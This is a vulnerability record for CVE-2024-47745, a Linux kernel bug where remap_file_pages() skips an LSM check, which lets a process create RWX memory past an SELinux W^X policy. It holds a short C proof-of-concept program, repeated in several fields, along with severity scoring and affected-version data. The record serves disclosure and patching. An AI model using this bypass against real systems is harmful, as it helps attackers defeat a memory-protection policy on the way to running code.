CVE-2024-47745 (GCVE-0-2024-47745)

Vulnerability from cvelistv5 – Published: 2024-10-21 12:14 – Updated: 2026-08-05 11:39
VLAI
Title
mm: call the security_mmap_file() LSM hook in remap_file_pages()
Summary
In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]
Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator (v2.0.3)
Assigner
References
Impacted products
Vendor Product Version
Linux Linux Affected: c8d78c1823f46519473949d33f0d1d33fe21ea16 , < 0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1 (git)
Affected: c8d78c1823f46519473949d33f0d1d33fe21ea16 , < 49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178 (git)
Affected: c8d78c1823f46519473949d33f0d1d33fe21ea16 , < 3393fddbfa947c8e1fdcc4509226905ffffd8b89 (git)
Affected: c8d78c1823f46519473949d33f0d1d33fe21ea16 , < ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3 (git)
Affected: c8d78c1823f46519473949d33f0d1d33fe21ea16 , < ea7e2d5e49c05e5db1922387b09ca74aa40f46e2 (git)
Affected: 097f98edde717ce09f217d8a285fe357dcd29fd1 (git)
Affected: 3.16.59 , < 3.17 (semver)
Create a notification for this product.
Linux Linux Affected: 4.0
Unaffected: 0 , < 4.0 (semver)
Unaffected: 6.1.120 , ≤ 6.1.* (semver)
Unaffected: 6.6.54 , ≤ 6.6.* (semver)
Unaffected: 6.10.13 , ≤ 6.10.* (semver)
Unaffected: 6.11.2 , ≤ 6.11.* (semver)
Unaffected: 6.12 , ≤ * (original_commit_for_fix)
Create a notification for this product.
Show details on NVD website
To clipboard 

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47745",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T12:58:41.257228Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:04:13.918Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:40:38.700Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "mm/mmap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1",
              "status": "affected",
              "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16",
              "versionType": "git"
            },
            {
              "lessThan": "49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178",
              "status": "affected",
              "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16",
              "versionType": "git"
            },
            {
              "lessThan": "3393fddbfa947c8e1fdcc4509226905ffffd8b89",
              "status": "affected",
              "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16",
              "versionType": "git"
            },
            {
              "lessThan": "ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3",
              "status": "affected",
              "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16",
              "versionType": "git"
            },
            {
              "lessThan": "ea7e2d5e49c05e5db1922387b09ca74aa40f46e2",
              "status": "affected",
              "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "097f98edde717ce09f217d8a285fe357dcd29fd1",
              "versionType": "git"
            },
            {
              "lessThan": "3.17",
              "status": "affected",
              "version": "3.16.59",
              "versionType": "semver"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "mm/mmap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.0"
            },
            {
              "lessThan": "4.0",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.120",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.120",
                  "versionStartIncluding": "4.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "4.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "4.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "4.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.16.59",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\n\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn\u0027t contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\n\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\n\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\n\nThe PoC:\n\n$ cat \u003e test.c\n\nint main(void) {\n\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\n\tint mfd = syscall(SYS_memfd_create, \"test\", 0);\n\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\n\t\tMAP_SHARED, mfd, 0);\n\tunsigned int old = syscall(SYS_personality, 0xffffffff);\n\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\n\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\n\tsyscall(SYS_personality, old);\n\t// show the RWX page exists even if W^X policy is enforced\n\tint fd = open(\"/proc/self/maps\", O_RDONLY);\n\tunsigned char buf2[1024];\n\twhile (1) {\n\t\tint ret = read(fd, buf2, 1024);\n\t\tif (ret \u003c= 0) break;\n\t\twrite(1, buf2, ret);\n\t}\n\tclose(fd);\n}\n\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n\n[PM: subject line tweaks]"
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "scenarios": [
            {
              "lang": "en",
              "value": "AV:L - The bypass is performed entirely through local syscalls (`memfd_create`/`mmap`/`personality`/`remap_file_pages`) operating on the calling task\u0027s own `mm_struct`. There is no network- or adjacent-reachable path into `SYSCALL_DEFINE5(remap_file_pages)`.\nAC:L - The commit\u0027s PoC is fully deterministic \u2014 no race, no heap grooming, no memory-layout dependency \u2014 and the attacker controls every input. SELinux in enforcing mode with a W^X policy is the default on Android, RHEL/CentOS and Fedora, so the required configuration is common rather than rare.\nPR:L - Any unprivileged local process can do this: `personality()` in `kernel/exec_domain.c:38` performs no capability check, and `remap_file_pages` has no privilege gate whatsoever. No user namespace trick is even needed.\nUI:N - The attacking process performs the entire sequence against its own address space in one self-contained program. No victim action, file open, or mount is required.\nS:U - The vulnerable code and the impacted resource are both governed by the kernel\u0027s own security authority, and the resulting RWX mapping lives in the attacker\u0027s own address space. This is a MAC-policy/mitigation bypass, not a VM, IOMMU, or hypervisor boundary crossing.\nC:H - Defeating W^X lets an attacker inject and run arbitrary code inside an SELinux-confined domain, which yields unrestricted read of all data and credentials that domain can reach (e.g. a confined network daemon\u0027s keys or an Android system service\u0027s data). The skipped hook also drops the `file { read/write/map }` re-validation entirely.\nI:H - The whole purpose of the SELinux `execmem`/`file execute` checks is to stop a memory-write primitive from becoming code execution; bypassing them gives the attacker arbitrary code execution in the confined domain and full modification of anything it controls. This is the same integrity impact as the analogous AIO W^X bypass, CVE-2016-10044.\nA:H - Arbitrary code execution inside a confined domain lets the attacker fully disrupt or terminate the affected service, and the mitigation bypass is the enabling step that completes exploit chains whose payloads can crash or hang the system. Following the higher-severity convention where the ceiling of the bypass is complete compromise of the confined component."
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-05T11:39:53.925Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1"
        },
        {
          "url": "https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178"
        },
        {
          "url": "https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89"
        },
        {
          "url": "https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3"
        },
        {
          "url": "https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2"
        }
      ],
      "title": "mm: call the security_mmap_file() LSM hook in remap_file_pages()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47745",
    "datePublished": "2024-10-21T12:14:12.488Z",
    "dateReserved": "2024-09-30T16:00:12.960Z",
    "dateUpdated": "2026-08-05T11:39:53.925Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2024-47745",
      "date": "2026-08-06",
      "epss": "0.00286",
      "percentile": "0.20749"
    },
    "fkie_nvd": {
      "configurations": "[{\"nodes\": [{\"operator\": \"OR\", \"negate\": false, \"cpeMatch\": [{\"vulnerable\": true, \"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"versionEndExcluding\": \"6.6.54\", \"matchCriteriaId\": \"C071AD88-76A0-45A5-9C1C-8DA6DBF2084B\"}, {\"vulnerable\": true, \"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"versionStartIncluding\": \"6.7\", \"versionEndExcluding\": \"6.10.13\", \"matchCriteriaId\": \"CE94BB8D-B0AB-4563-9ED7-A12122B56EBE\"}, {\"vulnerable\": true, \"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"versionStartIncluding\": \"6.11\", \"versionEndExcluding\": \"6.11.2\", \"matchCriteriaId\": \"AB755D26-97F4-43B6-8604-CD076811E181\"}]}]}]",
      "descriptions": "[{\"lang\": \"en\", \"value\": \"In the Linux kernel, the following vulnerability has been resolved:\\n\\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\\n\\nThe remap_file_pages syscall handler calls do_mmap() directly, which\\ndoesn\u0027t contain the LSM security check. And if the process has called\\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\\nRW pages, this will actually result in remapping the pages to RWX,\\nbypassing a W^X policy enforced by SELinux.\\n\\nSo we should check prot by security_mmap_file LSM hook in the\\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\\npotentially permits an attacker to bypass a W^X policy enforced by\\nSELinux.\\n\\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\\nAIO and can be found in [1].\\n\\nThe PoC:\\n\\n$ cat \u003e test.c\\n\\nint main(void) {\\n\\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\\n\\tint mfd = syscall(SYS_memfd_create, \\\"test\\\", 0);\\n\\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\\n\\t\\tMAP_SHARED, mfd, 0);\\n\\tunsigned int old = syscall(SYS_personality, 0xffffffff);\\n\\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\\n\\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\\n\\tsyscall(SYS_personality, old);\\n\\t// show the RWX page exists even if W^X policy is enforced\\n\\tint fd = open(\\\"/proc/self/maps\\\", O_RDONLY);\\n\\tunsigned char buf2[1024];\\n\\twhile (1) {\\n\\t\\tint ret = read(fd, buf2, 1024);\\n\\t\\tif (ret \u003c= 0) break;\\n\\t\\twrite(1, buf2, ret);\\n\\t}\\n\\tclose(fd);\\n}\\n\\n$ gcc test.c -o test\\n$ ./test | grep rwx\\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\\n\\n[PM: subject line tweaks]\"}, {\"lang\": \"es\", \"value\": \"En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad: mm: llamar al gancho LSM security_mmap_file() en remap_file_pages() El controlador de llamadas al sistema remap_file_pages llama a do_mmap() directamente, que no contiene la comprobaci\\u00f3n de seguridad LSM. Y si el proceso ha llamado a personality(READ_IMPLIES_EXEC) antes y se llama a remap_file_pages() para p\\u00e1ginas RW, esto realmente dar\\u00e1 como resultado la reasignaci\\u00f3n de las p\\u00e1ginas a RWX, omitiendo una pol\\u00edtica W^X aplicada por SELinux. Por lo tanto, deber\\u00edamos comprobar prot mediante el gancho LSM security_mmap_file en el controlador de llamadas al sistema remap_file_pages antes de que se llame a do_mmap(). De lo contrario, potencialmente permite que un atacante omita una pol\\u00edtica W^X aplicada por SELinux. La omisi\\u00f3n es similar a CVE-2016-10044, que omite lo mismo a trav\\u00e9s de AIO y se puede encontrar en [1]. La PoC: $ cat \u0026gt; test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, \\\"test\\\", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // muestra que la p\\u00e1gina RWX existe incluso si se aplica la pol\\u00edtica W^X int fd = open(\\\"/proc/self/maps\\\", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret \u0026lt;= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (eliminado) [MP: ajustes en la l\\u00ednea de asunto]\"}]",
      "id": "CVE-2024-47745",
      "lastModified": "2024-12-14T21:15:26.217",
      "metrics": "{\"cvssMetricV31\": [{\"source\": \"nvd@nist.gov\", \"type\": \"Primary\", \"cvssData\": {\"version\": \"3.1\", \"vectorString\": \"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\", \"baseScore\": 7.8, \"baseSeverity\": \"HIGH\", \"attackVector\": \"LOCAL\", \"attackComplexity\": \"LOW\", \"privilegesRequired\": \"LOW\", \"userInteraction\": \"NONE\", \"scope\": \"UNCHANGED\", \"confidentialityImpact\": \"HIGH\", \"integrityImpact\": \"HIGH\", \"availabilityImpact\": \"HIGH\"}, \"exploitabilityScore\": 1.8, \"impactScore\": 5.9}]}",
      "published": "2024-10-21T13:15:04.580",
      "references": "[{\"url\": \"https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1\", \"source\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\"}, {\"url\": \"https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89\", \"source\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"tags\": [\"Patch\"]}, {\"url\": \"https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178\", \"source\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"tags\": [\"Patch\"]}, {\"url\": \"https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3\", \"source\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"tags\": [\"Patch\"]}, {\"url\": \"https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2\", \"source\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"tags\": [\"Patch\"]}]",
      "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
      "vulnStatus": "Modified",
      "weaknesses": "[{\"source\": \"nvd@nist.gov\", \"type\": \"Primary\", \"description\": [{\"lang\": \"en\", \"value\": \"CWE-670\"}]}]"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2024-47745\",\"sourceIdentifier\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"published\":\"2024-10-21T13:15:04.580\",\"lastModified\":\"2026-08-04T11:20:47.560\",\"vulnStatus\":\"Modified\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"In the Linux kernel, the following vulnerability has been resolved:\\n\\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\\n\\nThe remap_file_pages syscall handler calls do_mmap() directly, which\\ndoesn\u0027t contain the LSM security check. And if the process has called\\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\\nRW pages, this will actually result in remapping the pages to RWX,\\nbypassing a W^X policy enforced by SELinux.\\n\\nSo we should check prot by security_mmap_file LSM hook in the\\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\\npotentially permits an attacker to bypass a W^X policy enforced by\\nSELinux.\\n\\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\\nAIO and can be found in [1].\\n\\nThe PoC:\\n\\n$ cat \u003e test.c\\n\\nint main(void) {\\n\\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\\n\\tint mfd = syscall(SYS_memfd_create, \\\"test\\\", 0);\\n\\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\\n\\t\\tMAP_SHARED, mfd, 0);\\n\\tunsigned int old = syscall(SYS_personality, 0xffffffff);\\n\\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\\n\\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\\n\\tsyscall(SYS_personality, old);\\n\\t// show the RWX page exists even if W^X policy is enforced\\n\\tint fd = open(\\\"/proc/self/maps\\\", O_RDONLY);\\n\\tunsigned char buf2[1024];\\n\\twhile (1) {\\n\\t\\tint ret = read(fd, buf2, 1024);\\n\\t\\tif (ret \u003c= 0) break;\\n\\t\\twrite(1, buf2, ret);\\n\\t}\\n\\tclose(fd);\\n}\\n\\n$ gcc test.c -o test\\n$ ./test | grep rwx\\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\\n\\n[PM: subject line tweaks]\"},{\"lang\":\"es\",\"value\":\"En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad: mm: llamar al gancho LSM security_mmap_file() en remap_file_pages() El controlador de llamadas al sistema remap_file_pages llama a do_mmap() directamente, que no contiene la comprobaci\u00f3n de seguridad LSM. Y si el proceso ha llamado a personality(READ_IMPLIES_EXEC) antes y se llama a remap_file_pages() para p\u00e1ginas RW, esto realmente dar\u00e1 como resultado la reasignaci\u00f3n de las p\u00e1ginas a RWX, omitiendo una pol\u00edtica W^X aplicada por SELinux. Por lo tanto, deber\u00edamos comprobar prot mediante el gancho LSM security_mmap_file en el controlador de llamadas al sistema remap_file_pages antes de que se llame a do_mmap(). De lo contrario, potencialmente permite que un atacante omita una pol\u00edtica W^X aplicada por SELinux. La omisi\u00f3n es similar a CVE-2016-10044, que omite lo mismo a trav\u00e9s de AIO y se puede encontrar en [1]. La PoC: $ cat \u0026gt; test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, \\\"test\\\", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // muestra que la p\u00e1gina RWX existe incluso si se aplica la pol\u00edtica W^X int fd = open(\\\"/proc/self/maps\\\", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret \u0026lt;= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (eliminado) [MP: ajustes en la l\u00ednea de asunto]\"}],\"affected\":[{\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"affectedData\":[{\"vendor\":\"Linux\",\"product\":\"Linux\",\"defaultStatus\":\"unaffected\",\"programFiles\":[\"mm/mmap.c\"],\"repo\":\"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\",\"versions\":[{\"version\":\"c8d78c1823f46519473949d33f0d1d33fe21ea16\",\"lessThan\":\"0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1\",\"versionType\":\"git\",\"status\":\"affected\"},{\"version\":\"c8d78c1823f46519473949d33f0d1d33fe21ea16\",\"lessThan\":\"49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178\",\"versionType\":\"git\",\"status\":\"affected\"},{\"version\":\"c8d78c1823f46519473949d33f0d1d33fe21ea16\",\"lessThan\":\"3393fddbfa947c8e1fdcc4509226905ffffd8b89\",\"versionType\":\"git\",\"status\":\"affected\"},{\"version\":\"c8d78c1823f46519473949d33f0d1d33fe21ea16\",\"lessThan\":\"ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3\",\"versionType\":\"git\",\"status\":\"affected\"},{\"version\":\"c8d78c1823f46519473949d33f0d1d33fe21ea16\",\"lessThan\":\"ea7e2d5e49c05e5db1922387b09ca74aa40f46e2\",\"versionType\":\"git\",\"status\":\"affected\"},{\"version\":\"097f98edde717ce09f217d8a285fe357dcd29fd1\",\"versionType\":\"git\",\"status\":\"affected\"},{\"version\":\"3.16.59\",\"lessThan\":\"3.17\",\"versionType\":\"semver\",\"status\":\"affected\"}]},{\"vendor\":\"Linux\",\"product\":\"Linux\",\"defaultStatus\":\"affected\",\"programFiles\":[\"mm/mmap.c\"],\"repo\":\"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\",\"versions\":[{\"version\":\"4.0\",\"status\":\"affected\"},{\"version\":\"0\",\"lessThan\":\"4.0\",\"versionType\":\"semver\",\"status\":\"unaffected\"},{\"version\":\"6.1.120\",\"lessThanOrEqual\":\"6.1.*\",\"versionType\":\"semver\",\"status\":\"unaffected\"},{\"version\":\"6.6.54\",\"lessThanOrEqual\":\"6.6.*\",\"versionType\":\"semver\",\"status\":\"unaffected\"},{\"version\":\"6.10.13\",\"lessThanOrEqual\":\"6.10.*\",\"versionType\":\"semver\",\"status\":\"unaffected\"},{\"version\":\"6.11.2\",\"lessThanOrEqual\":\"6.11.*\",\"versionType\":\"semver\",\"status\":\"unaffected\"},{\"version\":\"6.12\",\"lessThanOrEqual\":\"*\",\"versionType\":\"original_commit_for_fix\",\"status\":\"unaffected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":7.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"LOCAL\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":1.8,\"impactScore\":5.9},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":7.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"LOCAL\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":1.8,\"impactScore\":5.9}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2024-10-21T12:58:41.257228Z\",\"id\":\"CVE-2024-47745\",\"options\":[{\"exploitation\":\"none\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-670\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"FA6FEEC2-9F11-4643-8827-749718254FED\"}]}]},{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"6.1.120\",\"matchCriteriaId\":\"9B0FAB02-E16A-4263-9895-889F5A3200D5\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"6.2\",\"versionEndExcluding\":\"6.6.54\",\"matchCriteriaId\":\"D448821D-C085-4CAF-88FA-2DDE7BE21976\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"6.7\",\"versionEndExcluding\":\"6.10.13\",\"matchCriteriaId\":\"CE94BB8D-B0AB-4563-9ED7-A12122B56EBE\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"6.11\",\"versionEndExcluding\":\"6.11.2\",\"matchCriteriaId\":\"AB755D26-97F4-43B6-8604-CD076811E181\"}]}]}],\"references\":[{\"url\"